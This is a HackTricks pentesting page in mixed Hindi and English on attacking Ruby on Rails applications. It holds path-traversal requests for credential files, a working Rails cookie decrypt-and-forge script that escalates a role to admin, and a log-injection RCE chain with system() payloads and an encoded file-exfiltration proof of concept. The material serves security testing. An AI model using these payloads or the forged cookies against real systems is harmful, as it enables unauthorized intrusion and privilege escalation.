Ruby Tricks

Reading time: 9 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

File upload to RCE

As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.

Tips:

  • Other boot/eager-load locations that are executed on app start are also risky when writeable (e.g., config/initializers/ is the classic one). If you find an arbitrary file upload that lands anywhere under config/ and is later evaluated/required, you may obtain RCE at boot.
  • Look for dev/staging builds that copy user-controlled files into the container image where Rails will load them on boot.

Active Storage image transformation → command execution (CVE-2025-24293)

जब कोई एप्लिकेशन Active Storage के साथ image_processing + mini_magick उपयोग करता है, और untrusted parameters को image transformation methods को पास किया जाता है, तो Rails के वो वर्शन जो 7.1.5.2 / 7.2.2.2 / 8.0.2.1 से पहले हैं, command injection की अनुमति दे सकते हैं क्योंकि कुछ transformation methods गलती से डिफ़ॉल्ट रूप से allow कर दिए गए थे।

  • A vulnerable pattern looks like:
erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>

where params[:t] and/or params[:v] are attacker-controlled.

  • What to try during testing

  • Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.

  • Fuzz params[:t] and params[:v] for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.

  • If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.

  • Remediation/detections

  • If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + image_processing + mini_magick and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.

Rack::Static LFI / path traversal (CVE-2025-27610)

यदि target stack सीधे या frameworks के माध्यम से Rack middleware का उपयोग करता है, तो rack के 2.2.13, 3.0.14, और 3.1.12 से पहले के वर्शन Rack::Static के माध्यम से Local File Inclusion की अनुमति देते हैं जब :root unset/misconfigured हो। PATH_INFO में encoded traversal प्रोसेस वर्किंग डायरेक्टरी या किसी अनपेक्षित root के अंतर्गत फ़ाइलों को उजागर कर सकता है।

  • Hunt for apps that mount Rack::Static in config.ru or middleware stacks. Try encoded traversals against static paths, for example:
text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Adjust the prefix to match configured urls:. If the app responds with file contents, you likely have LFI to anything under the resolved :root.

  • Mitigation: upgrade Rack; ensure :root only points to a directory of public files and is explicitly set.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails cookies को secret_key_base से derive किए गए keys का उपयोग करके encrypt और sign करता है। अगर वह value leak हो जाती है (उदा., repo, logs, या misconfigured credentials में), तो आप आमतौर पर cookies को decrypt, modify, और re-encrypt कर सकते हैं। यह अक्सर authz bypass में बदल जाता है अगर एप्लिकेशन cookies में roles, user IDs, या feature flags स्टोर करता है।

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

नोट:

  • Older apps may use AES-256-CBC and salts encrypted cookie / signed encrypted cookie, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly.
  • On compromise/assessment, rotate secret_key_base to invalidate all existing cookies.

देखें (Ruby/Rails-specific vulns)

Log Injection → RCE via Ruby load and Pathname.cleanpath smuggling

जब कोई ऐप (अक्सर एक सरल Rack/Sinatra/Rails endpoint) दोनों:

  • एक उपयोगकर्ता-नियंत्रित स्ट्रिंग को सटीक रूप में लॉग करता है, और
  • बाद में उसी स्ट्रिंग से व्युत्पन्न पाथ वाली फ़ाइल को load करता है (बाद में Pathname#cleanpath के बाद),

तो आप अक्सर लॉग को poison करके और फिर ऐप को लॉग फ़ाइल को load करने के लिए मजबूर करके remote code execution हासिल कर सकते हैं। प्रमुख primitives:

  • Ruby load लक्षित फ़ाइल की सामग्री को फ़ाइल एक्सटेंशन की परवाह किए बिना Ruby के रूप में evaluate कर देता है। कोई भी पढ़ने योग्य टेक्स्ट फ़ाइल जिसकी सामग्री Ruby के रूप में parse हो सके, execute हो जाएगी।
  • Pathname#cleanpath . और .. segments को filesystem से संपर्क किए बिना collapse कर देता है, जिससे path smuggling सक्षम होता है: attacker-controlled junk को लॉगिंग के लिएprepend किया जा सकता है जबकि cleaned path अब भी उस इच्छित फ़ाइल पर resolve होता है जिसे execute करना है (उदा., ../logs/error.log)।

Minimal vulnerable pattern

ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

क्यों लॉग में वैध Ruby हो सकती है

Logger इस तरह के prefix lines लिखता है:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

Ruby में, # एक comment शुरू करता है और 9/2/2025 बस arithmetic है। वैध Ruby code इंजेक्ट करने के लिए आपको:

  • अपने payload की शुरुआत नई लाइन पर करें ताकि यह INFO line में # द्वारा comment न हो; एक leading newline भेजें (\n या %0A)।
  • INFO line द्वारा प्रस्तुत dangling [ को बंद करें। एक common trick यह है कि शुरुआत ] से करें और वैकल्पिक रूप से parser को खुश करने के लिए ][0]=1 इस्तेमाल करें।
  • फिर arbitrary Ruby रखें (उदा., system(...))।

Example of what will end up in the log after one request with a crafted param:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

ऐसी एक ही स्ट्रिंग छिपाना जो कोड को लॉग भी करे और लॉग पाथ पर भी resolve हो

हमें एक attacker-controlled string चाहिए जो:

  • जब raw रूप में लॉग किया जाए तो इसमें हमारा Ruby payload हो, और
  • जब इसे Pathname.new(<input>).cleanpath से गुज़ारा जाए तो यह ../logs/error.log पर resolve हो, ताकि बाद में load उसी अभी-poisoned log file को execute करे।

Pathname#cleanpath schemes को ignore करता है और traversal components को collapse कर देता है, इसलिए निम्नलिखित काम करेगा:

ruby
require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • :// से पहले # यह सुनिश्चित करता है कि Ruby लॉग निष्पादित होने पर tail को अनदेखा कर दे, जबकि cleanpath फिर भी suffix को ../logs/error.log तक घटा देता है।
  • प्रारंभिक newline INFO लाइन से बाहर निकलता है; ] dangling bracket को बंद करता है; ][0]=1 parser को संतुष्ट करता है।

एंड-टू-एंड एक्सप्लॉइटेशन

  1. बैकअप स्क्रिप्ट नाम के रूप में निम्नलिखित भेजें (यदि आवश्यक हो तो पहले newline को %0A के रूप में URL-encode करें):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. एप्लिकेशन आपकी raw string को logs/error.log में लॉग करता है।
  2. एप्लिकेशन cleanpath गणना करता है जो ../logs/error.log तक resolve होता है और उस पर load कॉल करता है।
  3. Ruby लॉग में आपने जो कोड इंजेक्ट किया है उसे निष्पादित करता है।

CTF-जैसे वातावरण में किसी फ़ाइल को exfiltrate करने के लिए:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (पहला कैरेक्टर newline है):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें